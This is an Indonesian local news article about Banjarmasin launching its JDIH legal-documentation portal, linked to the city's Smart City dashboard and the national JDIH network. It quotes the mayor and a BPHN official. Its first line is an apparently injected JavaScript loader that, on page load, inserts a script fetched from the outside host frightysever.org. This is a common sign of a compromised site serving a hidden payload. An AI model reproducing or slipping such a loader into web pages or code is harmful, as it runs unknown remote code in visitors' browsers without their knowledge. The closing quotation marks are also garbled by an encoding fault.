(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pemko Banjarmasin bersama Badan Pembinaan Hukum Nasional (BPHN) Kemenkumham RI secara resmi meluncurkan program JDIH (Jaringan Dokumentasi dan Informasi Hukum) kota Banjarmasin.
Menariknya, sistem JDIH ini terintegrasi dengan dashboard Banjarmasin Smart City. Sehingga, semua payung hukum yang berlaku di kota Banjarmasin dapat diakses dengan mudah. Tidak hanya itu, JDIH Banjarmasin ini juga telah terintegrasi dengan sistem JDIH nasional
“JDIH Banjarmasin ini sangat mudah mengetahui apa saja produk hukum yang ada di kota Banjarmasin. Tinggal masukkan kata kuncinya saja, misalnya tentang larangan plastik, kemiskinan, atau sungai. Nantinya akan muncul produk hukum kita,†kata Walikota Banjarmasin H Ibnu Sina di Balaikota Banjarmasin, Selasa (3/12) siang.
Produk hukum yang dimaksud, menurut Ibnu, antara lain peraturan daerah (Perda) ataupun peraturan walikota (Perwali). Selain itu, tuntutan perkembangan zaman menjadi dasar dikembangkannya JDIH Banjarmasin, nantinya akan mempermudah kinerja ASN di lingkungan Pemko Banjarmasin dalam pengelolaan database payung hukum di kota Banjarmasin.
“Ini juga membantu ASN kita. Kadang-kadang mencari database fisik Perda susah. Dengan adanya JDIH Banjarmasin ini tinggal akses di sini untuk dicari. Ini bagian dari layanan publik juga, kita ingin agar pelayanan publik di Banjarmasin kan bagus,†jelas Ibnu.
Sementara itu, Kepala Pusat Data dan Jaringan Informasi Hukum Nasional BPHN Kemenkumham RI Yasmon mengapresiasi langkah Pemko Banjarmasin yang mendukung pelaksanaan Perpres Nomor 33 tahun 2012 tentang JDIH. Dengan adanya JDIH, menurut Yasmon, tentunya dapat mempermudah pelayanan publik di bidang dokomentasi dan layanan hukum.
“Dengan adanya JDIH ini, masyarakat dengan mudah bisa mendapatkan dokumen hukum yang dibutuhkan. Jadi tidak perlu susah-susah ke kantor walikota, tapi dari mana saja bisa didapatkan dan bisa di-download,†tutur Yasmon.
Senada dengan Ibnu, Yasmon menyebut JDIH Banjarmasin telah terintegrasi dengan portal JDIH nasional. “Artinya, seluruh data dokumen hukum yang ada di JDIH Banjarmasin bisa diakses secara nasional dan menjadi bagian dari database nasional dokumen hukum kita,†kata Yasmon.
Yasmon juga mengatakan, selain peningkatan pelayanan publik, penerapan JDIH di Banjarmasin ini merupakan upaya keterbukaan informasi publik dan transparansi. “Kita memiliki anggota sebanyak 1.650 anggota dan kota di seluruh Indonesia dari 90 kota yang ada, 48 di antaranya sudah terintegrasi secara nasional. Kota Banjarmasin adalah salah satunya. Jadi integrasi dengan Smart City merupakan inovasi yang sangat kami hargai,†pungkas Yasmon. (fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
This website uses cookies.